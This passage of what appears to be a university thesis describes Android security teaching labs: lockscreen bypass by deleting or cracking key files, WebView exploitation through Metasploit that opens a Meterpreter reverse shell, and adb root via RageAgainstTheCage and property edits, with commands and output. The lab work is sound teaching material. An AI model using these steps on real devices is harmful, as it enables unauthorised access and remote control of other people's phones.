a MD5 digest. Before generating the digests, the password gets salted. This means, a
random alphanumeric string is appended to the PIN or password. In order to verify a
typed-in PIN or password, Android stores this salt under the lockscreen.password_salt
key in the secure table of the system’s setting provider in Android versions < 4.2 or in
the dedicated database /data/system/locksettings.db in Android versions starting from
4.2 and above. After successfully generating the concatenated hashes of the salted PIN
or password, it is saved within the file /data/system/password.key.
Patterns are saved in a more simple way and without using the additional security

feature of salting [6, 37]. They are only hashed once using the SHA-1 algorithm and then
directly saved within the file /data/system/gesture.key. Hence, they can be reconstructed
by only knowing the content of the file gesture.key. Rickard Andersson shows with his
php-based project7 that Android patterns can easily be cracked online using a small
database providing every possible combination of patterns as well as the respective SHA-1
digest.

5.3. Setup

The lab is separated into two stages. In the first stage, the students have to find out
which files are linked to the lockscreen requiring a PIN or password. Furthermore, they
learn what they can do to bypass it when they have write permissions. While stored PINs
and passwords are additionally secured by salting and double hashing through SHA-1
and MD5, patterns are only secured through storing them as SHA-1 digest.

7https://barney.0x539.se/android/
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The second stage deals with the fact that students only have read permissions and
shows what they can do to bypass the pattern-based lockscreen anyway.

5.3.1. Stage One

The first stage of the lab is based on an AVD with the following specifications:
AVD Name: bypassingStageOne.avd
Android Version: Android Gingerbread (2.3.3)
Architecture: ARM
Build-type: eng
Lockscreen password: thisGetsHashed!

The goal of the first stage of the lab is to realize what Android does internally when
asking for the lockscreen password. As the students have to delete the file /data/sys-
tem/password.key, it has to be generated through activating the device’s lockscreen with
the password security feature. The password used in this lab is ’thisGetsHashed!’. Fur-
thermore, the ADB daemon has to be activated running as root. Since the AVD’s ADB
daemon runs as root by default, ticking the ADB box within Android’s settings menu is
sufficient.

5.3.2. Stage Two

The second stage of the lab is based on an AVD with the following specifications:
AVD Name: bypassingStageTwo.avd
Android Version: Android Gingerbread (2.3.3)
Architecture: ARM
Build-type: user

While stored PINs and passwords are additionally secured by salting and double hash-
ing through SHA-1 and MD5, patterns are only secured through storing them as SHA-1
digest. This lab deals with the possibility to reconstruct the unlock pattern by under-
standing how it is stored on the device and then finding the appropriate pattern for
the stored digest. First, the unlock pattern has to be defined. The pattern used in the
lab can be seen in figure 5.1. Subsequently the file /data/system/gesture.key has to be
made world readable within a rooted ADB shell by executing the command chmod 664
/data/system/gesture.key. Once done, the device has to be unrooted using the script
introduced in chapter 7.
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Figure 5.1.: Configuring the lockscreen pattern.

According to figure 5.4, the hexadecimal sequence for the pattern configured in figure
5.1 reads as follows 06 03 00 01 05. After generating the SHA-1 digest of these coordinates,
the system saves the digest 33d42dac16a104c0808ec0cb6a8d4cac2b8c7b50 in hexadecimal
format within the file gesture.key. This can either be proofed by executing the command
echo -n "0603000105" | xxd -r -p | sha1sum whose output should be equal to the value
within gesture.key or just entered into the lockscreen’s patternfield which should unlock
immediately.

5.4. Proof of Concept

Each stage consists of a dedicated AVD. Hence, two separated proof of concepts are
provided which work totally independently of each other. However, it is recommended
to treat the labs in the given order.

5.4.1. Stage One: Bypass by Deleting

The digest of the password or PIN which is used to unlock the screen is stored within
the file /data/system/password.key. To bypass the lockscreen, this file has to be deleted.
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One possible way to reach this goal is to execute the command adb shell rm /data/sys-
tem/password.key while connected with the target device. Once deleted, the password-
secured lockscreen can be unlocked by entering any password, even a blank one.

Figure 5.2.: Deleting the file password.key in order to unlock AVD.

5.4.2. Stage Two: Bypass by Cracking

First, the file /data/system/gesture.key has to be downloaded using the adb pull com-
mand and then regarded using xxd or another hexeditor. The content of the file is a
SHA-1 digest saved in hexadecimal format.
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1 $ adb p u l l / data / system/ g e s t u r e . key
2 0 KB/ s (20 by t e s i n 0 .081 s )
3 $ xxd g e s t u r e . key
4 0000000: 33d4 2dac 16a1 04 c0 808 e c0cb 6a8d 4 cac 3 . − . . . . . . . . . j . L .
5 0000010: 2b8c 7b50 +.{P

Figure 5.3.: Downloading the file gesture.key and analyzing it using xxd.

To understand how this digest was generated, it is important to understand the
android-specific pattern characteristics. After entering, each coordinate of the pattern
is converted into a two-digit hexadecimal number using the system shown in figure 5.4.
Before it generates the digest, the system concatenates these coordinates.

Figure 5.4.: Pattern coordinates.

For a project at the Dalarna University, Sweden, Rickard Andersson created a tool [38]
to break the gestures. One part of this tool is a script implemented in PHP to generate
a list containing each possible gesture and its corresponding SHA-1 digest.
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To clarify, Rickard erroneously called the script GenerateRainbowTable.php although
it is not generating a rainbow table [39] but a simple list of coordinate / hash pairs.
However, the terms used by Rickard are retained for reasons of comprehensibility. To
run it, PHP , MySQL, and their connector php5-mysql have to be installed.

1 $ mysql −p −u roo t
2 Ente r password :
3 mysql> CREATE DATABASE Andro idLockScreen ;
4 mysql> USE Andro idLockScreen ;
5 mysql> CREATE TABLE RainbowTable ( comb inat ion v a r c ha r (17) , hash v a r c ha r←↩

(40) ) ;

Figure 5.5.: Creating required database and table in MySQL.

After filling in the MySQL credentials into the script and creating the appropriate
database and table using theMySQL command line (figure 5.5), the script can be started.
Depending on the processing power of the used computer, it takes approximately one and
a half hour until all possible coordinate / hash pairs are calculated successfully. Once
generated, the database can be searched for the appropriate coordinates using the known
hash. Andersson furthermore provides a program written in C which automatically
searches for the gesture.key file on the device, reads it, and then looks up the appropriate
coordinates for the given hash in a dumpfile of the generated database.

5.5. Learning Outcomes

Students working on this lab and ideally solving it learn about the basics of the internal
mechanisms of Android while setting a screen lock to protect the device. While working
on the second stage, they additionally learn about basic cryptographic hash usage and
how to break it.
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6. Lab: WebView

This network-based lab is about still recent vulnerabilites within the WebKit rendering
engine of Android APIs up to version 16 [40]. To be more precise it is about its WebView
class which does not only allow displaying rendered HTML documents in a browser, but
also within native Android apps. Through embedding web content within them, the
former native apps become a kind of hybrid because they contain both, components of
native as well as of web apps. If the WebView class is not integrated properly, malicious
websites loaded within the WebView can access sensitive data of the embedding app or
even system functionality [41]. The lab deals with CVE-2012-6636 [42] and CVE-2013-
4710 [43]. An example of a threat caused by this vulnerability is a user clicking on a
malicious link within an email or on a website. The manipulation through a man-in-the-
middle attack could also be possible in order to redirect the request if the connection is
sent through an untrusted network using no encryption like SSL/TLS [44]. To simulate
these cases, an app which frequently sends requests to a specific IP address / URI has
been developed. Figure 6.1 visualizes the planned structure and procedure of the lab.
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Figure 6.1.: Diagram of the complete WebView lab’s procedure.
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6.1. Goal

The students’ challenge is to detect the frequent SYN on the loopback device, open an
appropriate webserver to receive the HTTP request, spot the relevant exploit, and then
provide the malicious server on the URL the vulnerable AVD is asking for. The goal is to
open a Meterpreter session on the vulnerable device. Further information can be found
within the assignments, chapter A of the appendix.

6.2. Background

The given CVEs [42, 43] refer to a vulnerability of the Android API before version
17 which does not properly restrict the method WebView.addJavascriptInterface. The
vulnerable Java reflection API’s addJavascriptInterface [45] original purpose is to allow
JavaScript to invoke Java code of Android native apps. For this, Android apps can reg-
ister Java objects to WebView using this API. Public methods in these Java objects can
then be invoked by JavaScript code from within the WebView [46]. Due to a bad imple-
mentation, the vulnerability allows attackers to execute arbitary methods of Java objects
through remotely executing JavaScript code within a WebView component. There are
two attack vectors, allowing an attacker to provide malicious replies to the vulnerable
app’s requests. The first is to compromise the traffic in order to accomplish a man-in-
the-middle (MITM) attack. The other is to gain control over the requested ressource in
order to directly provide malicious content on the webserver [47]. During the lab, the
students have to make use of the second type of attack.

6.3. Setup

The lab is based on an AVD with the following specifications:
AVD Name: webView.avd
Android Version: Android KitKat (4.1.2)
Architecture: ARM
Build-type: user
Lockscreen Password: y0u5h0uldExpl0it

It is important to use a vulnerable Android / API version. Hence, an AVD running
Android 4.1.2 (API 16) is created and tested manually whether it is vulnerable or not.
Therefore after creating the AVD, the metasploit framework8 gets installed and config-
ured. When Metasploit is installed, the module webview_addjavascriptinterface [48] has
to be loaded and important parameters according to the procedure described within the
next section have to be configured. When manually browsing to the URI provided by
the created malicious server ends up in opening a Meterpreter session, the manual test

8http://www.metasploit.com
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has been successful and the development of the app which automates the sending of the
requests can start.

1 <r e c e i v e r a n d r o i d : e n a b l e d=" t r u e "
2 andro id :name=" . MyRece iver "
3 a n d r o i d : p e rm i s s i o n=" and ro i d . p e rm i s s i o n .RECEIVE_BOOT_COMPLETED">
4 <in t e n t− f i l t e r>
5 <ac t i o n andro id :name=" and ro i d . i n t e n t . a c t i o n .BOOT_COMPLETED" />
6 <ca t ego r y andro id :name=" and ro i d . i n t e n t . c a t e go r y .DEFAULT" />
7 </ i n t e n t− f i l t e r>
8 </ r e c e i v e r>

Figure 6.2.: AndroidManifest.xml code snippet defining broadcast receiver.

For developing the app, Android Studio is used. Since there is only one task the
app has to fulfill which is to send requests to a given IP address frequently, there is no
graphical user interface (GUI) except the embedded WebView and a button to stop the
app. However, the app automatically starts after the system has successfully booted
up. To realize this, a broadcast receiver listening for the Intent android.intent.action
.BOOT_COMPLETED according to figure 6.2 is implemented into the AndroidMani-
fest.xml as well as to the class MyReceiver. This specific Intent is broadcasted by the
system when it successfully finished the boot process. After receiving the Intent, the class
MyReceiver automatically starts the method onCreate() of the class MainActivity which
contains the method sendRequest() shown in figure 6.3. Line 3 creates a new object of
the type WebView [49] called webView and binds it to the GUI element webview. The
lines 5 to 10 prevent that Android loads URLs in the external standard application like
the browser instead of loading it into the WebView. The lines 12-13 enable JavaScript
and line 13 finally loads the given URL into the embedded WebView.

1 p ub l i c vo i d sendRequest ( ) {
2
3 WebView webView = (WebView) f i ndV i ewBy Id (R . i d . webview ) ;
4
5 webView . se tWebViewCl i ent (new WebViewCl ient ( ) {
6 p ub l i c boo lean s h ou l dOv e r r i d eU r l L o ad i n g (WebView view , S t r i n g ←↩

u r l ) {
7 v iew . l o a dU r l ( u r l ) ;
8 r e t u r n f a l s e ;
9 }

10 }) ;
11
12 WebSett ings webSe t t i ng s = webView . g e t S e t t i n g s ( ) ;
13 webSe t t i ng s . s e t J a v aS c r i p t En ab l e d ( t r ue ) ;
14 webView . l o a dU r l ( u r l ) ;
15 }

Figure 6.3.: Method sendRequest().
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In order to regularly send HTTP requests using the WebView class, the method
startRunnable() (shown in figure 6.4) wraps the method sendRequest() into a runnable
[50] (line 3 to 7) and afterwards creates an object named executor of the type Sched-
uledExecutorService [51] which is configured to call the runnable every n seconds, where
n is the value of the int variable seconds.

1 p ub l i c vo i d s t a r tRunnab l e ( ) {
2
3 Runnable r eque s tRunnab l e = new Runnable ( ) {
4 p ub l i c vo i d run ( ) {
5 sendRequest ( ) ;
6 }
7 } ;
8
9 Sch edu l e dEx e cu t o r S e r v i c e e x e cu t o r = Execu to r s .←↩

newScheduledThreadPool (1 ) ;
10 e x e cu t o r . s chedu l eAtF i x edRa t e ( r eques tRunnab l e , 0 , seconds , ←↩

TimeUnit .SECONDS) ;
11 }

Figure 6.4.: Method startRunnable().

As the AVD runs on the same machine the user is using, it is required to send the
request to the IP 10.0.2.2. This IP points onto the loopback device of the host machine
[28]. There are also some special configurations within metasploit which have to be
regarded if the AVD runs on the same machine. These configurations are discussed in
the next section.
It is possible to run the lab within a real network infrastructure. Hence, it can be

integrated as an independent challenge into a network-based Capture The Flag compe-
tition. For this, the AVD has to run on a accessible guest system. Furthermore, the IP
address within the code of the app has to be customized according to the given network
configuration.

6.4. Proof of Concept

In order to recognize the frequently sent SYN request, it is important to sniff on the host
device’s loopback device. Therefore, the network analysis tool Wireshark9 is used. Once
the SYN has been discovered, students recognize that the AVD is trying to reach port
80, which implies starting a webserver in order to open the port and analyze the traffic.
Once established, an HTTP request outlined in figure 6.5 can be received, analyzed, and
appropriate vulnerabilites / exploits can be looked for.

9https://www.wireshark.org/
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1 GET /1337 HTTP/1 .1
2 Host : 1 0 . 0 . 2 . 2 : 8 0
3 Cache−Con t r o l : max−age=0
4 Accept : t e x t /html , a p p l i c a t i o n / xhtml+xml , a p p l i c a t i o n /xml ; q=0.9 ,∗/∗ ; q=0.8
5 X−Requested−With : com . and ro i d . b rowse r
6 User−Agent : Mo z i l l a /5 .0 ( L inux ; U; Andro id 4 . 1 . 2 ; en−us ; sdk Bu i l d /MASTER←↩

) AppleWebKit /534.30 (KHTML, l i k e Gecko ) Ve r s i on /4 .0 Mobi le S a f a r i←↩
/534.30

7 Accept−Encoding : gz ip , d e f l a t e
8 Accept−Language : en−US
9 Accept−Char s e t : u t f −8, i s o −8859−1, u t f −16, ∗ ; q=0.7

Figure 6.5.: Standard HTTP Request of the vulnerable Android.

While searching, it should be found out that the Android version named within the
request’s user-agent has a vulnerable API. Exploits are available, for example, in the form
of the appropriate metasploit module webview_addjavascriptinterface. After installing
and configuring the free Metasploit Community edition, the following steps are needed
to successfully exploit the given vulnerable system.

1 # msf con so l e
2 msf > use e x p l o i t / and ro i d / browse r / web v i ew_add j a v a s c r i p t i n t e r f a c e
3 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > s e t SRVHOST 12 7 . 0 . 0 . 1
4 SRVHOST => 127 . 0 . 0 . 1
5 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > s e t l h o s t 1 0 . 0 . 2 . 2
6 l h o s t => 10 . 0 . 2 . 2
7 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > s e t URIPATH 1337
8 URIPATH => 1337
9 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > e x p l o i t

10 [ ∗ ] E x p l o i t r unn ing as background job .
11
12 [− ] Hand le r f a i l e d to b ind to 1 0 . 0 . 2 . 2 : 4 4 4 4
13 [ ∗ ] S t a r t e d r e v e r s e h and l e r on 0 . 0 . 0 . 0 : 4 4 4 4
14 [ ∗ ] Us ing URL : h t tp : / / 1 2 7 . 0 . 0 . 1 : 8 0 / Dajn1N
15 [ ∗ ] S e r v e r s t a r t e d .
16 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) >

Figure 6.6.: Configuration of Metasploit module webview_addjavascriptinterface.

Figure B.1 of the appendix shows the parameters needed to successfully exploit an
API running within an AVD. The IP address 10.0.2.2 is emulator specific and refers
to the loopback device of the host machine on which the malicious server is running.
The error stating that binding of the reverse handler onto the given IP address failed is
necessary in this context. As 10.0.2.2 points onto the loopback device, it is important
to implement this IP within the generated exploit. Since there is no interface with the
assigned address 10.0.2.2 on the host machine, the reverse handler which listens for the
exploit to establish a connection is bound on 0.0.0.0 which refers to all active interfaces
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on the host device. Only this constellation allows successfully exploiting within an AVD.
Note that it is important to run the metasploit console as root since superuser rights are
required to bind to well-known ports.

1 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) >
2 [ ∗ ] 1 2 7 . 0 . 0 . 1 w eb v i ew_add j a v a s c r i p t i n t e r f a c e − Gathe r i ng t a r g e t ←↩

i n f o rma t i o n .
3 [ ∗ ] 1 2 7 . 0 . 0 . 1 w eb v i ew_add j a v a s c r i p t i n t e r f a c e − Send ing r e s pon s e ←↩

HTML.
4 [ ∗ ] 1 2 7 . 0 . 0 . 1 w eb v i ew_add j a v a s c r i p t i n t e r f a c e − Se r v i n g armle ←↩

e x p l o i t . . .
5 [ ∗ ] Send ing s t ag e (43586 by t e s ) to 1 2 7 . 0 . 0 . 1
6 [ ∗ ] Me t e r p r e t e r s e s s i o n 1 opened ( 1 2 7 . 0 . 0 . 1 : 4 4 4 4 −> 127 . 0 . 0 . 1 : 3 7 8 3 4 ) at ←↩

2015−05−18 03 : 18 : 38 +0200

Figure 6.7.: msfconsole signaling incoming connection.

After starting the malicious server and the reverse handler, it takes up to the amount of
seconds defined within the app which is sending the requests until msfconsole signals an
incoming connection as shown in figure 6.7. The server’s answer of the client’s request
is a redirect to the exploit. After running the exploit on the client-side, the payload
is executed and tries to connect to the reverse handler in order to open a Meterpreter
session. If everything is configured properly, the Meterpreter session opens as shown.
After that, the server is still listening in order to compromise other victim machines.
To prevent opening another or even multiple Meterpreter sessions, the server has to be
stopped using the commands jobs in order to find out the reverse handler’s job ID and
kill <job ID> to finally stop it. Active Meterpreter sessions can be displayed using the
sessions command and entered using sessions -i <session ID>.

6.5. Learning Outcomes

Students working on this lab and ideally solving it get in touch with the most established
penetration testing tools and learn how to use their basic functions. Furthermore, they
learn about the general network architectures as well as specific network characteristics
of the Android emulator.
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7. Lab: Vertical Privilege Escalation

With regard to Android, the term vertical privilege escalation describes the gaining of
root privileges by a usually non-privileged user. Android uses a system of so-called prop-
erties which are used as system-wide variables and which are defined in system files with
the ending .prop. Common device configurations like the interval of wifi scans in seconds
(wifi.supplicant_scan_interval) or the delay between an incoming call and the device
beginning to ring in milliseconds (ro.telephony.call_ring.delay) are configured using the
Android property system. Furthermore, there are also security-relevant properties which
are discussed in this lab.
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7.1. Goal

The goal of both stages of the lab is to get a rooted ADB shell on the device. In
the first stage, the students have to test various exploits in order to find the appropriate
RageAgainstTheCage exploit. The goal of the second stage is to modify the corresponding
properties within an image file to get a root shell via ADB.

7.2. Background

Figure B.2 of the appendix shows the code snippet of AOSP’s adb_main file which is
responsible for starting the ADB service during the init process. The lines 6 to 9 check
the property ro.kernel.qemu which states whether the device runs within an emulator
environment (property set to 1 ) or not (property set to 0 ). If the AVD recognizes it is
running within an emulator environment, should_drop_privileges returns false. Hence,
adb_main directly starts the ADB daemon adbd with root privileges during the initializa-
tion of the system. If ro.kernel.qemu is set to 0, it further checks the properties ro.secure,
service.adb.root, and ro.debuggable. If ro.secure is set to 1 (lines 18-19), privileges get
dropped (line 23), except for the case if ro.debuggable and service.adb.root are both set
to 1 (line 28-30).
There are several tools using various exploits (for example KillingInTheNameOf, ps-

neuter, and zergRush) [52] to change the properties ro.kernel.qemu and ro.secure on
physical devices in order to gain temporary root privileges. Furthermore, they install
a rootkit to make the root access persistent. This tools usually consist of the actual
exploit, the su-binary which allows switching to the root user, the app Superuser.apk
which enables the user to grant the root privileges to any app, and BusyBox 10 which is
a collection of basic commandline tools.
There are also other methods to gain root access on Android devices. One of the

most popular exploits is called RageAgainstTheCage [53]. It works on Android systems
with versions lower than 2.3.6 (Gingerbread). In order to gain root permissions, the
exploit first finds out the PID of the ADB daemon as well as the maximum number
of processes the system allows a particular user to own (RLIMIT_NPROC ). It then
spawns as many stub processes until exactly this maximum number is reached. After
that, it kills adbd using the PID collected earlier. As soon as adb detects that adbd has
stopped, it restarts adbd with system privileges. The system then directly tries to drop
these privileges using setgid and setuid. In this moment, the exploit spawns another
process to reach the maximum again in order to prevent the dropping of the privileges.
This approach is called a race condition and if RageAgainstTheCage is faster than the
system, adbd continues running with root privileges. If not, the privileges get dropped.
In this case, the exploit has to be executed once again [53, 54]. Other exploits using
race conditions are Zimperlich and Zysploit [52]. Instead of exploiting adbd, they use the
same race condition approach in order to exploit a vulnerability of the zygote process
which originally runs as root and drops privileges after forking.
10http://www.busybox.net/
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7.3. Setup

This lab is based on two AVDs with the following specifications:
AVD Name: privilegeEscalationStageOne.avd
Android Version: Android Gingerbread (2.2)
Architecture: ARM
Build-type: user
Lockscreen Password: y0u5h0uldR00tIt!

AVD Name: privilegeEscalationStageTwo.avd
Android Version: Android Gingerbread (2.3.3)
Architecture: ARM
Build-type: eng (unrooted)
Lockscreen Password: y0u5h0uldR00tIt!

Since the goal of the lab is to gain root privileges, the images first have to be prepared
to be secure. The procedure for the both stages is almost the same. This is why it is
described in only one section.
In order to pretend the AVD is not running in an emulator environemnt, they should

be re-defined within one of the already existing property files. To run ADB in the secure
non-root mode, the property ro.secure has to be set to 1 whereas ro.kernel.qemu has to
be set to 0 or to an empty value (NULL). The files which are useful for changing the
properties mentioned in section 7.2 have the ending .prop. They can be located within the
files ramdisk.img and system.img. To modify them, the images first have to be extracted
and after the changes are made they have to be rebuilt again. As they have different
data formats, they have to be processed differently. In the following section, modifying
the file ramdisk.img which contains the default.prop will be discussed.
First of all, a copy of all the needed files which are stored within the path <path to

Android SDK>/system-images/<Android version>/default/<architecture>/ has to be
made within the .avd folder of the AVD. Older versions of Android builds store the
default ARM image files within the folder <path to Android SDK>/platforms/<Android
version>/images/. After that, the image files built in build-type user have also to be
copied to this .avd folder from their origin in out/target/product/generic/ within the
folder containing the AOSP sources. In order to use the copied files instead of the
default ones, the parameter image.sysdir.1 within the file config.ini has to be changed
to the folder of the actual virtual device with the suffix .avd. In the case, the Android
SDK’s standard is used, the path is ~/.android/avd. As mentioned in table 4.1, the file
ramdisk.img is a cpio archive which is additionally compressed using gzip. Hence, it has
first to be renamed into ramdisk.cpio.gz, then decompressed using an application which
can handle gzip format and finally unpacked using the application cpio.
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1 $ f i l e ramdi sk . img
2 ramdi sk . img : g z i p compressed data , from Unix
3 $ mv ramdi sk . img ramdi sk . c p i o . gz
4 $ g z i p −d ramdi sk . c p i o . gz
5 $ f i l e ramdi sk . c p i o
6 ramdi sk . c p i o : ASCII c p i o a r c h i v e (SVR4 wi th no CRC)
7 $ cp i o − i −F ramdi sk . c p i o
8 $ l s
9 data i n i t . g o l d f i s h . r c s b i n ueventd . r c

10 d e f a u l t . prop i n i t . r c s y s
11 dev proc system
12 i n i t ramd i sk . c p i o ueventd . g o l d f i s h . r c

Figure 7.1.: Unpacking ramdisk.img.

Once unpacked, the properties within the file default.prop in the root directory have to
be changed as shown in figure 7.2 (stage one) and 7.3 (stage two). For this, an ordinary
text editor like vi or nano can be used.

1 #
2 # ADDITIONAL_DEFAULT_PROPERTIES
3 #
4
5 ro . k e r n e l . qemu=
6 ro . s e c u r e=1
7 ro . debuggab le=1
8 p e r s i s t . s e r v i c e . adb . enab l e=1

Figure 7.2.: Properties in default.prop of stage one.

1 #
2 # ADDITIONAL_DEFAULT_PROPERTIES
3 #
4
5 ro . k e r n e l . qemu=0
6 ro . s e c u r e=1
7 ro . debuggab le=0
8 p e r s i s t . s e r v i c e . adb . enab l e=0

Figure 7.3.: Properties in default.prop of stage two.

Figure 7.4 shows the commands needed to rebuild ramdisk.img. Line two shows two
commands connected through a pipe. The first command gives a list of files extracted
from the original image file to the second command in order to include only the files
which are originally included in the image. The modifications made to these files are
naturally included in the new image, too.
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1 $ mv ramdi sk . c p i o ramdi sk . o l d . c p i o
2 $ cp i o − i −t −F ramdi sk . o l d . c p i o | c p i o −o −H newc −O ramdi sk . c p i o
3 $ g z i p ramdi sk . c p i o
4 $ mv ramdi sk . c p i o . gz ramdi sk . img

Figure 7.4.: Rebuilding ramdisk.img.

After modifying the ramdisk images and copying them back to the specific .avd folders,
the AVDs can be started. When the AVDs are booted up, the status of connected devices
can be checked using ADB. The device of stage one should now only allow restricted
access. The second device’s ADBD should be completely deactivated and not be listed
anymore by executing adb devices on the host computer as shown in figure 7.5.

1 $ emu la to r @<AVD name> &
2 [ 1 ] 10944
3 $ adb d e v i c e s
4 ∗ daemon not runn ing . s t a r t i n g i t now on po r t 5037 ∗
5 ∗ daemon s t a r t e d s u c c e s s f u l l y ∗
6 L i s t o f d e v i c e s a t t a ched
7 $

Figure 7.5.: Check status of ADB daemon.

7.4. Proof of Concept

Unlike the setup process, the proofs of concept of the two stages differ from each other.
This is why they are discussed in separated sections.

7.4.1. Stage One: Exploiting

The first step is to find information about the given system’s vulnerabilities. After that,
the RageAgainstTheCage exploit11 for example has to be downloaded and pushed to the
started AVD using the command adb push rageagainstthecage /data/local/tmp. Once
uploaded to the AVD, adb shell opens a shell in which the binary has to be made exe-
cutable using chmod 777 rageagainstthecage after switching to the appropriate directory
with cd /data/local/tmp. The exploit can then be started using the command ./ragea-
gainstthecage. It produces the output shown in figure 7.6.

11https://github.com/georgiaw/Smartphone-Pentest-Framework/blob/master/exploits/Android/
binaries/rageagainstthecage
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Figure 7.6.: Executing RageAgainstTheCage.

In order to check whether the exploit was successfully executed, the ADB server on the
host machine has to be killed using adb kill-server and restarted using adb start-server.
The machine is rooted successfully if the shell shows # at the beginning of the line after
reconnecting to the AVD using adb shell once again. At this point, su, BusyBox, and
Superuser.apk could be installed in order to make the root privileges persistent. If a $ is
shown because of a lost race condition, the execution of the exploit has to be repeated.

7.4.2. Stage Two: Rooting Manually

To gain root access via ADB in this specific machine, the students first have to undo the
steps described in 7.3. This means that they have to unpack the file ramdisk.img which
is stored within the .avd folder of the AVD. The mentioned properties within the file
default.prop have to be inverted. After that, ramdisk.img has to be rebuilt. The bash
script shown in figure B.3 of the appendix automates the whole process when executed
within the folder in which ramdisk.img is stored.
After manipulating the properties, the AVD has to be started using the emulator.

Once booted, the debug mode has to be enabled as shown in figure 7.7. The menu can
be found entering the Settings app, tapping on Applications and then on Development.
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Figure 7.7.: Enabling USB Debugging.

7.5. Learning Outcomes

Students working on this lab and ideally solving it learn about the basic functionality of
the Android Debug Bridge (ADB). Furtermore, they learn about the importance of the
properties used by the Android system and about the different image files of the emulator
which are related to the image files flashable to real Android devices.
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8. Evaluation

In the last phase of this thesis, the created labs which are described in chapters 5, 6,
and 7 as well as the assignments which can be found in chapter A of the appendix get
evaluated. For this purpose, the labs and assignments are uploaded to a private webspace
in order to send an email with a hyperlink which enables the students to download the
.zip archive to their computers. Students and alumni of the degree courses Corporate and
IT-Security as well as Media and Information Engineering and Design participated in
the evaluation. In the following, the feedback given personally, by telephone and online
is discussed and adopted measures are described.
The first bug found is in stage one of the privilege escalation lab. Contrary to the

actual plan, the images were built in build type eng instead of user. Hence, it was
possible to to gain root permissions using the command su. In order to fix this problem,
the used images were replaced by new images built in build type user.
Some students asked for more information about ADB. Therefore, an overview of

basic ADB commands is provided within the introductional part of the assignments.
Furthermore, brief introductions into metasploit and the filestructure of the Android
emulator are added to the both most challenging labs, namely the WebView lab and the
second stage of the privilege escalation lab.
The general feedback was positive. The students like the approach of working with

a ubiquitous operating system which is nevertheless not that common in usual security
labs or CTFs. According to their statements, stage one of the privilege escalation lab is
a good entry because it is easy to solve. However, it encourages the students to step out
of their comfort zone in order to get used with the Android operating system. Another
mentioned advantage is the fact, that they have to download the labs once and can
later on work on them whenever they want because they are independent of a certain
infrastructure.
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9. Conclusion and Future Work

The four months working on this thesis were a perfect opportunity to obtain an overview
of general security issues and mechanisms of the Android operating system. The practical
realisation allowed a lot of research in certain areas. However, four months are not
sufficient to explore all aspects of Android security and to realise all ideas concerning the
labs.
Therefore, the lab discussing to bypass the screen lock could be extended using recent

security flaws concering sensors which are embedded into various smartphones. Motion
sensors such as gyroscopes and accelerometers of Android devices are not only accessi-
ble to apps without granting them any special permissions [55]. They can also deliver
security-relevant information about the usage of the device such as entering PINs, pass-
words, and patterns [56]. A future lab could deliver pre-recorded sensor data which has
to be analyzed by students in order to figure out the required PIN or password.
The vertical privilege escalation lab could be extended by additional stages covering

exploits for Android versions > 4.0. Furthermore, a lab discussing topics of horizontal
privilege escalation, such as transitive permissions between apps [57], could be added.
A lot of time was spent trying to build system images without a rooted ADB daemon

running on them. After installing several versions of various build-tools and manually
applying a huge amount of bugfixes within the AOSP source code, the images in build
type user finally worked. Just a few moments later, the mighty but in this case unwanted
options of the Android SDK’s emulator were discovered. The emulator’s parameter -shell
enables the user to open a root shell on any AVD, even if the ADB daemon is unrooted or
totally disabled. This is an issue concerning the opportunity to use the labs as challenges
for CTFs.
A possibility to fix this problem and to enhance the labs’ learning experience is the

integration into the bwLehrpool environment [58]. bwLehrpool is a cooperative research
project driven by several universities of the German state of Baden-Württemberg. It is
based on OpenSLX and enables participating universities to run various pre-configured
system images in stateless mode. After creating an image of the installed and config-
urated Android environment once, the labs could be distributed and used on a huge
amount of computers simultaneously without any extra configuration needed. Due to
the implementation of the labs within this environment, students could work on the labs
without installing the needed software described in chapter A. Furthermore, a host en-
vironment without root access for the students could solve the problems arising through
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the Android emulator’s parameter -shell. It could get fixed by implementing a sophis-
ticated permission system on the filesystem layer. In this case, instead of Ubuntu, a
linux distribution like Fedora should be used, regarding their contrary attitudes towards
the default usage of sudo. Of course, this comes with the fact that the students are not
able anymore to work on the labs where and whenever they want to. Hence, several labs
could be made available for download on a university-wide accessible server in order to
provide basic training opportunities, whereas the real CTF challenges are embedded into
bwLehrpool.
Furthermore, there are still interesting areas left which could be impulses for further

labratory experiments. One possible field for future Android labs could be the security of
Android apps. For example, about known vulnerabilites of the communication between
apps [11, 59]. Another interesting topic is the field of malware written for the Android
plattform [60]. Labs could discuss forensic techniques to find and analyse malware hidden
within the system.
Summarized, Android security is highly topical. Already mentioned cyber-physical de-

velopments like Google Car or the Internet of Things reach another dimension of threats.
Future vulnerabilites may give the attacker opportunities to damage their victims not
only in terms of privacy or finance. They can now cause physical harm or even death
through manipulating the car’s control systems, for example. Hence, a lot of educational
work has to be done in order to sensitize future users and developers for the various
attack surfaces Android provides. CTFs are a great approach to teach students in terms
of security. Hopefully, this thesis contributes to the further development of the CTF
provided by the Offenburg University of Applied Sciences.
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A. Assignments

To run the provided Android Virtual Devices (AVDs), the installation of the Android
Software Development Kit12 (SDK) is required. It is available for Linux, Mac OS X,
and Windows. The usage of Ubuntu is strongly recommended. Before you can install
the SDK, the Java Development Kit (JDK) 7 has to be installed according to the official
instructions13. Please note especially the mentioned packages which have to be installed
under Ubuntu additionally.

Figure A.1.: Install Android SDK Platform Tools.

12https://developer.android.com/sdk/index.html#Other
13https://developer.android.com/sdk/installing/index.html?pkg=tools
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After installing and running the Android SDK, the Android SDK Platform Tools
(containing the Android Debug Bridge (ADB) which you will need for several labs)
as well as the packages for Android 2.2 (API 8), Android 2.3.3 (API 10), and Android
4.1.2 (API 16) have to be installed. For that, just tick the appropriate boxes as shown
in figure A.1 and then click the Install x packages... button.
The Android Debug Bridge [32] is a client-server tool which allows accessing and con-

trolling the Android device through USB and network. Table A.1 gives a brief overview
of the most important ADB commands.
In order to allow starting the several tools directly from anywhere in the shell, you

should add the location of the Android SDK to the ANDROID_HOME as well as its
subfolders tools and platform-tools to the PATH variable. Figure A.2 shows an example
code which you can directly copy and paste into your ~/.bashrc in order to persistently
apply the changes to the environment variables.

